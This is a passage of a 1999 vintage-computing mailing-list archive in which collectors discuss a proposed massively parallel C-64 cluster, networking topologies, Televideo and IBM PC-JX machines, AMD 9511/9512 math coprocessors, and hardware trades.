<199901271210.MAA19958@nixpbe.pdb.sni.de> > On Mon, 25 Jan 1999, Max Eskin wrote: > > On Mon, 25 Jan 1999, Sam Ismail wrote: > > > Yes but we're using those for a VCF project. > > Using 80 C-64s in a single project? Heck, I'm curious... > [... not secret but also not public parts zensored^H^H^H^H^H^H^H^Hdeleted > for better readability ...] > As we get closer to actually deciding to implement this I'll keep you > posted. > -- > Always being hassled by the man. Salaam, you are talkin too much! H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 27 07:09:25 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List In-Reply-To: <199901270756.CAA10365@armigeron.com> References: from "Sam Ismail" at Jan 26, 99 10:21:17 pm Message-ID: <199901271210.MAA19955@nixpbe.pdb.sni.de> > It was thus said that the Great Sam Ismail once stated: > > On Mon, 25 Jan 1999, Max Eskin wrote: > > > On Mon, 25 Jan 1999, Sam Ismail wrote: > > > > Yes but we're using those for a VCF project. > > > Using 80 C-64s in a single project? Heck, I'm curious... > > Were basically in the preliminary feasibility study stages of building a > > massively parallel vintage computer. The point? To demonstrate that old > > hardware that can be picked up for pennies can be combined to attain > > amazing amounts of computing power. > The biggest problem will be communication speed between nodes. Depending deeply on the structure of the task. > > Hans Franke is the project leader. Currently we are talking about the > > architecture of such a thing. The current wisdom from Hans is to use 1541 > > drives instead since they would be easier to network and are self-booting, > > not to mention plentiful and cheap. > And you'll end up with a ring architecture, since if I remember correctly, > each drive only had two IO ports on it. That is, if you don't hack some > hardware to get a parallel connection to each computer (like 10BaseT hubs > today). And you'll need to select your problem domain to complement the > speed issues you'll have in communication, or you may end up with something > that's slower than a single C-64. Redarding th information Salam gave, your idea might be right, but as you said, its also depending on the problem to solve. Also you just imply that the conectionstructure will be a simple brute force bus ... Just wait (or join the team). > -spc (Let's see ... 80 machines in a ring configuration, average > distance between two nodes is 40 hops, and at 9600bps > (assuming the hardware can do that) you have one bit taking > 104 uSec between nodes (with an additional .001 uSec per > foot, propagation delay you know 8-), so you have 1.04 mSec > per character per hop. So to send a one byte message to > an arbitrary node will take, on average, 40 mSec. Round trip > will therefore take nearly 1/10 second (and that's assuming > no delay between switching nodes---YMMV in actual use ... )) a) what if there is no peer type network, but rather a structured hirarchy of domains ? b) what if there is a bus rather than a ring (with switching time) c) What if the speed in the serial part of the network is higher ? d) what if the amount of date transfered includes low overhead ? Come in and join the definition team. Gruss H. -- Ich denke, also bin ich, also gut HRK From ds_spenc at alcor.concordia.ca Wed Jan 27 06:28:57 1999 From: ds_spenc at alcor.concordia.ca (Doug Spence) Date: Sun Feb 27 18:40:35 2005 Subject: Televideo 802 computer? In-Reply-To: <199901270422.WAA22781@garcon.laidbak.com> Message-ID: On Tue, 26 Jan 1999, Paul Braun wrote: > I have an 803, complete with cpu, keyboard, and software. The lady who > donated it had been using it up until about a year ago. > > Kinda cool, but also kinda awkward to lug to the library when I set up my > exhibits...... it'll go on the website someday when I actually get my life > back. Perhaps it would be less awkward to lug the luggable version of that machine around? ;) I've got a Televideo TPC-I, and two of the disks I got with it are labeled "TS-803/803H/TPC-I", which might imply that they are the same machine in different packaging. It's an arm-stretcher, but I have managed to carry it for fairly lengthy distances on a couple of occasions. I could hardly lift a fork to my mouth after bringing it home the first time, though. :) Does anyone know how to program the graphics on that beast? And what was the SuperMouse, and was it actually used for anything? Does anyone know a SAFE way of opening the TPC-I case? It looks like a former owner tried and broke some plastic snaps. I tried unscrewing everything but ended up with a free-floating power supply until I got it jostled back over the screw holes. There must be a special technique to cracking the case? > Paul Braun > NerdWare -- The History of the PC and the Nerds who brought it to you. > nerdware@laidbak.com > www.laidbak.com/nerdware I have some photos of the TPC-I on my web page. -- Doug Spence ds_spenc@alcor.concordia.ca http://alcor.concordia.ca/~ds_spenc/ From guerney at uq.net.au Wed Jan 27 07:17:33 1999 From: guerney at uq.net.au (Phil Guerney) Date: Sun Feb 27 18:40:35 2005 Subject: IBM PC-JX (was: Reiability of wrong media) Message-ID: <000a01be49f7$6a04c5c0$32f665cb@default> Tony Duell said: >That sounds _very_ much like a PC-jr. It has connectors for audio and >composite video (RCA sockets) and BERG headers for RS232, 2 joysticks, >CGA (TTL RGBI) monitor, lightpen, cassette, keyboard. No printer port - >that was an optional 'sidecar' module. I think we have established now that this _is_ basically a PC-Jr ! Except: it has a different model number it is black it has a 3.5" disk in the main unit, not a 5.25" drive, and room for another it has a printer port on the back of the main unit (DB-25 type connector) the video ("display") port on the back of the main unit is a DB-15 type connector it was not sold in the USA I have not mentioned before that it does have the two cartridge ports in the same place under the floppy drive at the bottom of the main unit. Unless anyone else wants more details, that is all I expect anyone wants to know about the "JX". The only doubt about its designation that I have, is that it does not say "JX" (or anything other than IBM) on it anywhere! I have had one keen enquiry about the unit from a US collector, so unless the freight charges work out too much, and if the trade is a fair and interesting swap, it looks like it will have a new home. Phil From allisonp at world.std.com Wed Jan 27 07:25:09 1999 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List In-Reply-To: <199901271210.MAA19955@nixpbe.pdb.sni.de> Message-ID: > > And you'll end up with a ring architecture, since if I remember correctly, > > each drive only had two IO ports on it. That is, if you don't hack some > > hardware to get a parallel connection to each computer (like 10BaseT hubs > > today). And you'll need to select your problem domain to complement the > > speed issues you'll have in communication, or you may end up with something > > that's slower than a single C-64. Other topologies are possible including serial bus and star with trivial to none in the way of hardware to do it. The easiest using a few disods and resistor is a serial bus that runs CSMA/CD. If that sounds familiar lookup IEEE802.5... Anyhow I"ve done this before and the trick is to make the transmitter look like an open collector (takes one diode) so that RXand TX for every node can be on the bus (coax or twisted pair with pull up or down resistor). Collision detection and carrier sense are via spare port bit (or CTS RTS lines). I've run such a bus at speeds up to 115kb/S and even 9600baud it's very useful. Allison From cfandt at netsync.net Wed Jan 27 08:09:07 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:35 2005 Subject: ASR33 merit badge In-Reply-To: <4.1.19990126204043.00aa4650@208.226.86.10> References: <199901270422.WAA22781@garcon.laidbak.com> <3.0.1.16.19990126093508.46bfd362@intellistar.net> Message-ID: <4.1.19990127085622.00975c50@206.231.8.2> Upon the date 08:42 PM 1/26/99 -0800, Chuck McManis said something like: >Hi Everyone, > >I'm working on my ASR-33 merit badge. For this portion I need to take a >complete set of parts for a keyboard and assemble them into a working >keyboard unit. I was wondering if anyone had any "tricks" that they new >that would aid in the assembly of the final frame around the code bars. I >find I'm short about three hands. > >--Chuck Hi Chuck, May I suggest you hang out on the Greenkeys reflector? There are several folks over there who have much experience with Teletype rebuilding than I do. They could probably tell you how to fiddle with the code bars with only one hand. Low traffic on that list, but there is a wealth of knowledge lurking there. I think one or two others on this reflector subscribe to Greenkeys other than me (or used to anyway.) To join the mailing list, send email as follows: TO: majordomo@qth.net SUBJECT: BODY: subscribe greenkeys Good luck Chuck! I've got a KSR33 keyboard unit I need to reassemble myself someday. Just need a very quiet day alone and no coffee. I've got help though in having several complete machines around here to peek at and TTY tech manuals. Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From kurtkilgor at bigfoot.com Wed Jan 27 08:30:31 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List References: <199901270756.CAA10365@armigeron.com> Message-ID: <36AF2307.8CF01961@bigfoot.com> Sean 'Captain Napalm' Conner wrote: >Steve Ciarcia designed, implemented and documented a parallel computer Do you mean the thing that calculated the Mandelbrot set? That was in a book called 'The Best of Byte'. It was a cardcage of microcontrollers designed to output a single bit depending on which direction the pixel they are processing tends to go. I think it's a very different problem from anything that would likely be done with a network of real computers. From kurtkilgor at bigfoot.com Wed Jan 27 08:30:36 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:35 2005 Subject: Storage problem Message-ID: <36AF230C.A89DE58F@bigfoot.com> A very interesting article posted on Slashdot about the storage problems that are being experienced by the government: http://www.fcw.com/pubs/fcw/1999/0125/fcw-newsstorage-1-25-99.html If you don't feel like checking, it's about how it takes them so long to transfer data to new tapes, the tapes begin to decay by the time they're done. From kevan at heydon.org Wed Jan 27 08:37:14 1999 From: kevan at heydon.org (Kevan Heydon) Date: Sun Feb 27 18:40:35 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Sam Ismail wrote: > > Isn't that stupid? Unfortunately, when we tried to boot the 4 that we > recently got they mostly got stuck at the same codet that wasn't > documented in the Diagnostics manual. So much for that. > What you should do is email webmaster@xerox.com and ask them what the code means. The WebMaster at Xerox is quite famous for answering all questions asked of him, I think he has even written a book about it. In the past I have asked questions about old xerox kit and have had them answered. -- Kevan Collector of old computers: http://www.heydon.org/kevan/collection/ From jfoust at threedee.com Wed Jan 27 09:23:48 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List In-Reply-To: References: Message-ID: <3.0.5.32.19990127092348.00ca9100@pc> At 10:21 PM 1/26/99 -0800, Sam Ismail wrote: >To demonstrate that old >hardware that can be picked up for pennies can be combined to attain >amazing amounts of computing power. Amazing? How many orders of magnitude difference in horsepower between a C-64 and a $600 Best Buy Intel box? Perhaps I'm being unromantic, and I certainly have too many old computers of the XT/AT/486 variety, but I just don't "get" many of these distributed computing projects. (I do leave my spare contemporary computers working for the RC5 project at distributed.net, but that's another story.) Take 10 computers at 1 horse each, and they're still not equal to one contemporary (cheap) computer at 10 horses. Sure, there's hack value in doing it, but mostly for people with too much time on their hands, or for people who aren't paying for the electric bill or the room to put them in. Hack away, sure - but claim they're doing "useful" work? - John From amirault at epix.net Wed Jan 27 09:41:43 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:35 2005 Subject: IBM PC-JX (was: Reiability of wrong media) References: <000a01be49f7$6a04c5c0$32f665cb@default> Message-ID: <36AF33B7.15D36991@epix.net> Phil, Thank you. Please send shipping charge and info on payment type. John Amirault 107 Second Avenue Susquehanna, Pa., USA 18847-1432 Phil Guerney wrote: > Tony Duell said: > >That sounds _very_ much like a PC-jr. It has connectors for audio and > >composite video (RCA sockets) and BERG headers for RS232, 2 joysticks, > >CGA (TTL RGBI) monitor, lightpen, cassette, keyboard. No printer port - > >that was an optional 'sidecar' module. > > I think we have established now that this _is_ basically a PC-Jr ! Except: > it has a different model number > it is black > it has a 3.5" disk in the main unit, not a 5.25" drive, and room for > another > it has a printer port on the back of the main unit (DB-25 type connector) > the video ("display") port on the back of the main unit is a DB-15 type > connector > it was not sold in the USA > > I have not mentioned before that it does have the two cartridge ports in the > same place under the floppy drive at the bottom of the main unit. > > Unless anyone else wants more details, that is all I expect anyone wants to > know about the "JX". The only doubt about its designation that I have, is > that it does not say "JX" (or anything other than IBM) on it anywhere! > > I have had one keen enquiry about the unit from a US collector, so unless > the freight charges work out too much, and if the trade is a fair and > interesting swap, it looks like it will have a new home. > > Phil From bill at chipware.com Wed Jan 27 09:40:04 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:35 2005 Subject: SA4000 (was:RE: Unix for 8080/Z80?) In-Reply-To: Message-ID: <000301be4a0b$4f3854a0$bb88e9cf@yamato.chipware.com> > One came in a huge metal casing that is about 3' long by 18" wide and > about 5" in height. That case wouldn't happen to be painted Ohio Scientific tan by any chance? Bill Sudbrink From healyzh at aracnet.com Wed Jan 27 10:16:05 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:35 2005 Subject: Storage problem In-Reply-To: <36AF230C.A89DE58F@bigfoot.com> from "Max Eskin" at Jan 27, 99 09:30:36 am Message-ID: <199901271616.IAA21009@shell2.aracnet.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 915 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/1c89abc3/attachment.ksh From brett at xnet.com Wed Jan 27 10:20:36 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List In-Reply-To: <3.0.5.32.19990127092348.00ca9100@pc> Message-ID: On Wed, 27 Jan 1999, John Foust wrote: > At 10:21 PM 1/26/99 -0800, Sam Ismail wrote: > >To demonstrate that old > >hardware that can be picked up for pennies can be combined to attain > >amazing amounts of computing power. > > Amazing? How many orders of magnitude difference in horsepower > between a C-64 and a $600 Best Buy Intel box? Perhaps I'm being > unromantic, and I certainly have too many old computers of the > XT/AT/486 variety, but I just don't "get" many of these distributed > computing projects. (I do leave my spare contemporary computers > working for the RC5 project at distributed.net, but that's another > story.) Yes - and No 8-) > Take 10 computers at 1 horse each, and they're still not equal to one > contemporary (cheap) computer at 10 horses. Sure, there's hack value > in doing it, but mostly for people with too much time on their hands, > or for people who aren't paying for the electric bill or the room to > put them in. Hack away, sure - but claim they're doing "useful" work? Well - I wrote a 6502 emulator/simulator that puts the hardware I/O on seperate machines. It was all written in Perl. Each 6532 (it was a KIM-1 8-) ran on a diferent machine. When the address of the 6532 got hit - it talked TCP/IP to the selected machine (talk about address translation 8-) and received back the ROM if it was in the ROM area or performed IO if it was in the digital IO section. Now you can ask the BIG question of Why? It lets me re-write the individual pieces of IO code and replace hardware at 'anytime'. Handy if you are 'hacking' and it taught me a lot. I could change the 'hardware' on the fly and even replace the 6532's with any other IC I chose. Plus - the code is expandable to include just about any CPU and any architecture. No - it is not a speed demon 8-) It does run asynchronously but then so do most processors. But I can see things change on the fly at each machine and follow all the registers in all the hardware at about the same time. I can single step and even micro-step the emulator. BC From ckaiser at oa.ptloma.edu Wed Jan 27 10:50:23 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List In-Reply-To: from "Brett Crapser" at Jan 27, 99 10:20:36 am Message-ID: <199901271650.IAA18588@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 688 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/e2ae85bd/attachment.ksh From edick at idcomm.com Wed Jan 27 10:59:08 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:35 2005 Subject: Televideo 802 computer? Message-ID: <19990127172545934.AAA224@fuj0> The 802 is the integrated computer/terminal unit. Call it a super-smart terminal if you like, but it is a relatively convenient version of what wasn't available much of the time back when these were current (early '80's). It is not merely a terminal, though it will fill that function nicely. Dick ---------- > From: Joe > To: Discussion re-collecting of classic computers > Subject: Re: Televideo 802 computer? > Date: Tuesday, January 26, 1999 10:18 AM > > George, > > Are you talking about the 802 (which someone said is a terminal) or are > you talking about the computer? (model number ???) > > If you mean the computer then I listed it but I wasn't offering. It's > still at the store. I was hoping they might turn up the computer. If you > need a copy, I'll see about getting it and making you a copy. If I don't > find the computer sooner or later then you may end up with the original. > > If you mean the terminal manual then it's also still at the store but I > don't want it so if you do then let me know and I'll see about getting it > for you. > > Joe > > At 11:12 AM 1/26/99 -0800, you wrote: > >I actually have one of these with no docs... Who was it that was offering > >a manual? > > > >George > > > >========================================================= > >George L. Rachor george@racsys.rt.rain.com > >Beaverton, Oregon http://racsys.rt.rain.com > >United States of America Amateur Radio : KD7DCX > > > >On Tue, 26 Jan 1999, Richard Erlacher wrote: > > > >> It seems to me that the 802 was a televideo terminal with an integrated > >> workstation. These worked in conjunction with a server unit to run an OS > >> called MOST, I believe, and I have a couple of the server units, the number > >> of which will occur to me when I look at one again. > >> > >> These were fairly late technology, using 64k DRAMS and a 4MHz Z80A. The > >> servers had four or five serial ports using Z80 SIO's and either 10 or 20 > >> MB winchesters to go with their 5-1/4" floppies. They used the > >> WD1000-series HDC, which used an 8X300 microcontroller (I2L technology, > >> Harvard architecture) and the WD1000 5-chip set. I always admired the > >> packaging technology, which was first rate. > >> > >> I have to believe the workstations were up to the same standard in > >> convenient packaging. Televideo was late getting into the desktop > >> workstation market, but did it in a big way with these numbers, as they had > >> all you could want. The OS was purported, by some users I knew, to be > >> quite a bit superior to MPM, which was quite established at that time (late > >> '70's, early '80's). > >> > >> If anyone is interested in the server units, I can make them available, > >> less drives, and possibly a couple of SIO/2's which I scavenged years ago, > >> for the packaging/shipping cost. > >> > >> Dick > >> > >> ---------- > >> > From: Joe > >> > To: Discussion re-collecting of classic computers > >> > >> > Subject: Televideo 802 computer? > >> > Date: Tuesday, January 26, 1999 2:35 AM > >> > > >> > Does anyone have one of these? I found a manual for one of these > >> yesterday > >> > and it looks pretty cool. > >> > > >> > Joe > >> > > > > From edick at idcomm.com Wed Jan 27 11:18:38 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:35 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 Message-ID: <19990127173212460.AAA303@fuj0> The 9511 was the floating point unit, and the 9512 was for 64-bit integer arithmetic, I believe. I've actually got one of each of these from back in the old days. They were sort of a calculator for your computer, in that they could be operated faster than the cpu could perform the function . . . MUCH faster. Dick ---------- > From: Tony Duell > To: Discussion re-collecting of classic computers > Subject: Re: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 > Date: Tuesday, January 26, 1999 4:33 PM > > > > > > optional 9512 Floating Point (remember these?) > > > > Speaking of which, if anyone has any 9511 or 9512 chips, or the equivalent > > Intel 8231 or 8232, I'd like to get at least one of each. > > Speaking of which (:-)), does anyone else remember a 9511 card for the > Apple ][. I found one in a pile of boards that were being thrown out, > along with the manual (including schematic), but without any software. > > -tony From Marty at itgonline.com Wed Jan 27 11:20:14 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:35 2005 Subject: Synoptics LattisNet 1000 Message-ID: <1999Jan27.121836.1767.185915@smtp.itgonline.com> Does anybody know when the Synoptics LattisNet 1000 was first introduced? Marty From msg at waste.org Wed Jan 27 11:29:22 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:35 2005 Subject: Synoptics LattisNet 1000 References: <1999Jan27.121836.1767.185915@smtp.itgonline.com> Message-ID: <36AF4CF2.C3B46B25@waste.org> Our Synoptics Workgroup Concentrator Reference Manual is dated July, 1988; Appendices regarding experience with cabling suggest perhaps a year's worth of testing. Usenet news archives searching on LattisNet produce abundant references to other dates as well Michael Grigoni Cybertheque Museum Marty wrote: > > Does anybody know when the Synoptics LattisNet 1000 was first > introduced? > > Marty From kbd at ndx.net Wed Jan 27 13:05:16 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:35 2005 Subject: Old DEC stuff In-Reply-To: Message-ID: <000201be4a27$f969e800$0a00000a@oemcomputer> Hi Jerome, Do you still have the RA81's? Do you happen to know if the heads are locked down? If so, I'm interested. Kirk > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Jerome Marella > Sent: Tuesday, January 26, 1999 5:35 PM > To: Discussion re-collecting of classic computers > Subject: Old DEC stuff > > > All, > > I have some old DEC equipment that I would like to get out of the > garage. I would prefer if someone would take the whole lot. If I can't > make those arrangements I may be willing to piece things out. The list > is following my sig. > > Jerome > > -- > Jerome A. Marella University of Pittsburgh - CIS > Systems & Networks > 600 Epsilon Drive, Pittsburgh, PA 15238 > mopar+@pitt.edu (412) 624-9139 Fax (412) 624-6436 http://www.pitt.edu/~mopar The list of stuff: 2 x 11/750 w 14Meg an 11/730 in pieces 3 x RA81 tu78 tu80 various extra boards - I will make a complete list if anyone likes print sets: 11/730 field maintenance 11/750 pcs module ka750 mos memory array comet memory unit tu77 From jruschme at exit109.com Wed Jan 27 13:11:20 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:35 2005 Subject: Synoptics LattisNet 1000 In-Reply-To: <36AF4CF2.C3B46B25@waste.org> from Michael Grigoni at "Jan 27, 99 11:29:22 am" Message-ID: <199901271911.OAA04691@crobin.home.org> > > Does anybody know when the Synoptics LattisNet 1000 was first > > introduced? > > Our Synoptics Workgroup Concentrator Reference Manual is dated July, > 1988; Appendices regarding experience with cabling suggest perhaps > a year's worth of testing. Usenet news archives searching on > LattisNet produce abundant references to other dates as well Speaking of LattisNet... A while back, I came into a couple of 36-port Synoptics hubs consisting of: 1 LattisNet 3030 concentrator 3 LattisNet 3305 Ethernet UTP Host boards 1 LattisNet 3333 Ethernet Retiming board Am I correct in assuming that this hub will only speak to LattisNet NICs and not 10BaseT? If so, is it of any use to anyone before I go trashing it or putting it on eBay? <<>> From aknight at mindspring.com Wed Jan 27 13:32:21 1999 From: aknight at mindspring.com (Alex Knight) Date: Sun Feb 27 18:40:35 2005 Subject: Gordon Bell computer books on-line Message-ID: <3.0.6.32.19990127143221.00799100@mindspring.com> Hi, I've just come across a site that has on-line copies of several of Gordon Bell's (with others) books on computer architecture, etc. (My apologies if I'm repeating something, I don't recall seeing this posted here recently though). A menu leading to the books is located at the following site: http://beta.ul.cs.cmu.edu/webRoot/Books/Saving_Bell_Books/ The books that are available at this URL are: Computer Engineering Computer Structures: Readings and Examples Designing Computers and Digital Systems High Tech Ventures I was particularly interested in seeing the Computer Structures: book, as it had been previously noted here on the list that there was coverage of the HP9100 calculator. It turns out that the chapter in Bell's book is taken verbatim (with credit) from the HP Journal article that describes the HP9100, so there isn't any additional info. or analysis on the 9100 by Bell. There is a description of the Olivetti Programma 101 calculator/ computer in the same chapter though. And, of course, descriptions of many, many other early computer architectures. Enjoy! Alex Calculator History & Technology Archive Web Page http://aknight.home.mindspring.com/calc.htm From go at ao.com Wed Jan 27 13:36:16 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:36 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 In-Reply-To: <19990127173212460.AAA303@fuj0> Message-ID: <4.1.19990127111514.00adbbb0@office.ao.com> From Hans.Franke at mch20.sbs.de Wed Jan 27 11:09:18 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:36 2005 Subject: Massive parelell old junk In-Reply-To: <3.0.5.32.19990127092348.00ca9100@pc> References: Message-ID: <199901272001.VAA27667@mail.siemens.de> > >To demonstrate that old > >hardware that can be picked up for pennies can be combined to attain > >amazing amounts of computing power. > Amazing? How many orders of magnitude difference in horsepower > between a C-64 and a $600 Best Buy Intel box? Perhaps I'm being > unromantic, and I certainly have too many old computers of the > XT/AT/486 variety, but I just don't "get" many of these distributed > computing projects. (I do leave my spare contemporary computers > working for the RC5 project at distributed.net, but that's another > story.) Take 10 computers at 1 horse each, and they're still not > equal to one contemporary (cheap) computer at 10 horses. Sure, > there's hack value in doing it, but mostly for people with too > much time on their hands, or for people who aren't paying for the > electric bill or the room to put them in. Hack away, sure - but > claim they're doing "useful" work? So, lets do RC5 un the C64 ? Of corse, the C64 thing will only get some result on tasks that are paralell from nature, and of course the result will be more no 'personal' usable thing. An for shure an pentium box will out- perform it easy, but as you said, there is a hack value, and see it from a 1984 perspective, it _will_ be a huge power in that seting. A cluster of 64 working nodes (plus some 20 communication nodes) might produce a peek performance of 18 MIPS(6502) - that can be near a 20 MHz 386 (or 486) - and a 20 MHz 386 was _way_ out of reach at that time. In fact, I would love to see this thing cracking codes - just to show that it might have been possible with of the shelf home computer hardware to crack encodings that the (US) government wanted us to belive to be safe - 40 Bit or less keys - they still tell te story - and if such a home computer junk pile can be a tread, than of course, well designed paralell systems have been done at tis time ... Just an idea, since I'm realy mad about 'official' crypto statements. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 27 10:36:39 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:36 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: <199901270343.AA20132@world.std.com> Message-ID: <199901272001.VAA27670@mail.siemens.de> > <> You know, those 30-pin SIMMs will be valuable eventually! You should sav > <> every one you find. > I tried recently to get 4mx9 30 pin parts and 16mb(4 of them) would be > about $65... 16mb 72pin parts are going for $19 around here new! Yet > I can find the 1mx9 parts for $3 used/tested. I happen to have a very > tiny 486slc/33 board that only can take 4simms (and must have 4!) so I > either have 4mb or 16mb as choices. I need a minimum of 8mb so I can > run useful stuff and a have just a few (dozen) 1mb parts! First, there is a nice guy in Harrisburg PA, Lee Frank - he runs a kind of surplus store, and they have used 30 pin 4 MB modules as low as 6 USD. Look at http://www.surplustuff.com/ This gives some 24 USD for your 16 MB - the other prices are also acceptable. He is a very patient and tries to help wherever possible. This address looks also interesting for more than just RAM :) And for the 30 pin itself - the 1 MB types are anything but rare - I guess I have some 40 or so back home, but I would be happy to exchange them for 4 MB modules. I have the same problem than you - no room within my 486 boxes - I have two systems running as Linux based servers (486-133) and each can hold two banks of 4 modules - so I can have up to 32 MB - but one module costs some 45 Mark right now! Gruss Hans P.S.: only 256K and 64K modules are realy rare - the 4 MBs are only expensive -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 27 10:13:31 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:36 2005 Subject: Classic Computer Auctions List In-Reply-To: References: <199901271210.MAA19955@nixpbe.pdb.sni.de> Message-ID: <199901272001.VAA27682@mail.siemens.de> > > > And you'll end up with a ring architecture, since if I remember correctly, > > > each drive only had two IO ports on it. That is, if you don't hack some > > > hardware to get a parallel connection to each computer (like 10BaseT hubs > > > today). And you'll need to select your problem domain to complement the > > > speed issues you'll have in communication, or you may end up with something > > > that's slower than a single C-64. > Other topologies are possible including serial bus and star with trivial > to none in the way of hardware to do it. Jep, and wait and see .) > The easiest using a few disods and resistor is a serial bus that runs > CSMA/CD. If that sounds familiar lookup IEEE802.5... :)) > Anyhow I"ve done this before and the trick is to make the transmitter look > like an open collector (takes one diode) so that RXand TX for every node > can be on the bus (coax or twisted pair with pull up or down resistor). > Collision detection and carrier sense are via spare port bit (or CTS RTS > lines). I've run such a bus at speeds up to 115kb/S and even 9600baud > it's very useful. Shure, as I said, a shared media eliminates the switching. But 115 kb/s is still high for a C64 .... lets see. Gruss H. -- Ich denke, also bin ich, also gut HRK From edick at idcomm.com Wed Jan 27 14:06:17 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:36 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will tradeNational MM57109 Message-ID: <19990127202051499.AAA219@fuj0> You're absolutely correct . . . I actually got out my old AMD MOS Microprocessors and Peripherals data book from 1985, and found that the 9511 is a stack oriented (like the HP calculators, I guess) arithmetic processor capable of 16 and 32-bit floating point operations, while the 9512 is capable of 32 and 64-bit operations. The 9511, it seems is capable of many more functions, being somewhat reminiscent of a "scientific" calculator, while the 9512 is capable of none of the transcendental functions which the 9511 supports. Both are stack-oriented, therefore ideal for RPN implementation. My steel-trap mind moves closer and closer every day to being a sievel . . oh, well . . . it's HELL getting old. Dick ---------- > From: Gary Oliver > To: Discussion re-collecting of classic computers > Subject: Re: AMD 9511, 9512, Intel 8231, 8232 wanted, will tradeNational MM57109 > Date: Wednesday, January 27, 1999 12:36 PM > > >From my copy of "Floating Point Program Manual Am9511A/Am9512:" > > Am9511A Arithmetic Processor > > Distinctive Characteristics > --------------------------- > 2,3 and 4 MHz operation > Fixed point 16 bit and 32 bit operations > Floating point 32 bit operations > Binary data formats > Add, Subtract, Multiply and Divide > Trigonometric and inverse trigonometric functions > Square roots, logarithms, exponentiation > Stack-oriented operand storage > ... > > Am9512 Floating Point Processor > > Distinctive Characteristics > --------------------------- > Single (32-bit) and double (64-bit) precision capability > Add, Subtract, Multiply and Divide > Compatible with proposed IEEE format > ... > > > The 9511 is very much like a calculator with a 32 bit operand > stack of up to four items. Operations work on the top or top > two items on the stack. Some operands (such as PUPI "push PI") > push a new item on the stack. > > At 4Mhz, a FADD takes (worst case) about 92 uSec and an FMUL > (worst case) at 42 uSeconds. Wasn't too shabby when software > took 5 to 10 times as long on a Z-80. Plus it was possible to > get some other work done while the 9511 was off crunching a > number or two. > > We still use the 9511 on an old (very old) legacy product, although > they will eventually disappear - AMD is certainly not making them > anymore and there are very few left on distributor shelves or even > in "part surplus" houses. > > Gary > > At 10:18 AM 1/27/99 -0700, you wrote: > >The 9511 was the floating point unit, and the 9512 was for 64-bit integer > >arithmetic, I believe. I've actually got one of each of these from back in > >the old days. They were sort of a calculator for your computer, in that > >they could be operated faster than the cpu could perform the function . . > >MUCH faster. > > > >Dick > > > > > >---------- > From eric at brouhaha.com Wed Jan 27 14:25:08 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:36 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990127202508.24898.qmail@brouhaha.com> I wrote: > People seem to be quick to complain about Al's auction, but where else do > you see an Alto available in any condition at any price? Tony replied: > I am not complaining about the price (FWIW, if I had $5000 spare, I'd > probably bid on it...) but I am a little suspicious as to the condition > of the machine. The condition is as-is. What part of that is suspicious? When you buy stuff at a surplus store, how often do you get it under terms other than as-is? The reason it is as-is is not because there is anything known to be wrong with it, but simply because there is no easy way to tell whether is functioning perfectly. Al probably knows more about Altos than anyone other than the actual Xerox engineers that developed it. He's not trying to make a killing selling off stuff known to be broken junk, if that's what your worried about. And if it weren't for Al, there wouldn't be 1/20 of as much information about the Alto on the web. I'll repeat what I said before, because it evidently didn't sink in: > where else do you see an Alto available in any condition at any price? Someone else brought up the Xerox 6085 (Daybreak). Compared to the Alto, these are so common as to be almost ubiquitous. You can 